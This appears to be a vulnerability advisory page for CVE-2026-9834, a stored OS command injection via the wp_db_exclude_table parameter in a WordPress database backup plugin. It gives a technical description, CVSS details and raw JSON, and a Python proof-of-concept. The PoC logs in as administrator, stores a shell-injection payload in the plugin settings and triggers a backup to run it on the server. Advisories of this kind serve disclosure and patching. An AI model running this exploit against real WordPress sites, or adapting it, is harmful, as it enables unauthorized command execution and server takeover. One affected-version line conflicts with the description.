Security Vulnerability Report
中文
CVE-2026-9834 CVSS 7.2 HIGH

CVE-2026-9834

Published: 2026-07-02 10:16:29
Last Modified: 2026-07-02 13:58:57

Description

The WP Database Backup – Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to OS Command Injection in all versions up to and including 7.11 via the `wp_db_exclude_table` parameter. This is due to the direct concatenation of user-supplied `$_POST['wp_db_exclude_table']` values into the `mysqldump` shell command string in the `mysqldump()` function of `includes/admin/class-wpdb-admin.php` without wrapping them in `escapeshellarg()`—every other argument in the same command (DB_USER, DB_PASSWORD, host, filename, DB_NAME) is properly escaped, making the exclude-table values the sole exception—and because the only applied filtering, `sanitize_text_field()` via `recursive_sanitize_text_field()`, strips HTML tags but leaves shell metacharacters such as `;`, `|`, `` ` ``, and `$()` intact. This makes it possible for authenticated attackers, with administrator-level access and above, to execute arbitrary operating system commands on the server, potentially enabling full remote code execution. The injection is stored: malicious values submitted through the plugin settings form are persisted to the WordPress options table via `update_option('wp_db_exclude_table')` and later retrieved with `get_option()` and passed unsanitized to `shell_exec()` whenever a backup operation runs.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Database Backup by Backup for WP < 7.11(所有7.11及以下版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9834 - WP Database Backup OS Command Injection PoC # Vulnerability: Unescaped wp_db_exclude_table parameter in mysqldump() function # Requires: WordPress admin authentication (PR:H) # Target file: includes/admin/class-wpdb-admin.php, function mysqldump() import requests TARGET_URL = "http://target-wordpress-site.com" ADMIN_USER = "admin" ADMIN_PASS = "password123" # Step 1: Authenticate as administrator and obtain session cookies session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": ADMIN_USER, "pwd": ADMIN_PASS, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Inject malicious payload into wp_db_exclude_table option # The payload uses shell metacharacters (; and #) that survive sanitize_text_field() # When mysqldump() executes, the injected command after ';' will run malicious_table = "wp_users; echo 'PWNED_$(id)' > /tmp/rce_proof; #" backup_settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-database-backup" settings_data = { "wp_db_exclude_table[]": malicious_table, # Additional form fields may be required depending on plugin version "submit": "Save Changes" } response = session.post(backup_settings_url, data=settings_data) # Step 3: Trigger backup operation to execute the injected command # The stored payload will be retrieved via get_option() and passed to shell_exec() backup_trigger_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-database-backup&action=create_backup" session.get(backup_trigger_url) # Step 4: Verify command execution verify = requests.get(f"{TARGET_URL}/wp-content/plugins/wp-database-backup/backup/tmp/rce_proof") if "PWNED_" in verify.text: print("[+] RCE confirmed! Server response:", verify.text) else: print("[*] Check /tmp/rce_proof on the target server for command output")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9834", "sourceIdentifier": "[email protected]", "published": "2026-07-02T10:16:29.353", "lastModified": "2026-07-02T13:58:56.870", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Database Backup – Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to OS Command Injection in all versions up to and including 7.11 via the `wp_db_exclude_table` parameter. This is due to the direct concatenation of user-supplied `$_POST['wp_db_exclude_table']` values into the `mysqldump` shell command string in the `mysqldump()` function of `includes/admin/class-wpdb-admin.php` without wrapping them in `escapeshellarg()`—every other argument in the same command (DB_USER, DB_PASSWORD, host, filename, DB_NAME) is properly escaped, making the exclude-table values the sole exception—and because the only applied filtering, `sanitize_text_field()` via `recursive_sanitize_text_field()`, strips HTML tags but leaves shell metacharacters such as `;`, `|`, `` ` ``, and `$()` intact. This makes it possible for authenticated attackers, with administrator-level access and above, to execute arbitrary operating system commands on the server, potentially enabling full remote code execution. The injection is stored: malicious values submitted through the plugin settings form are persisted to the WordPress options table via `update_option('wp_db_exclude_table')` and later retrieved with `get_option()` and passed unsanitized to `shell_exec()` whenever a backup operation runs."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "databasebackup", "product": "WP Database Backup – Unlimited Database & Files Backup by Backup for WP", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "7.11", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-02T12:24:37.163009Z", "id": "CVE-2026-9834", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.10/includes/admin/class-wpdb-admin.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.10/includes/admin/class-wpdb-admin.php#L2644", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.10/includes/admin/class-wpdb-admin.php#L2654", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.11/includes/admin/class-wpdb-admin.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.11/includes/admin/class-wpdb-admin.php#L2644", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-database-backup/tags/7.11/includes/admin/class-wpdb-admin.php#L2654", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3574273%40wp-database-backup&new=3574273%40wp-database-backup&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a97a217-b00b-4268-a472-8d62ae1d18e3?source=cve", "source": "[email protected]"}]}}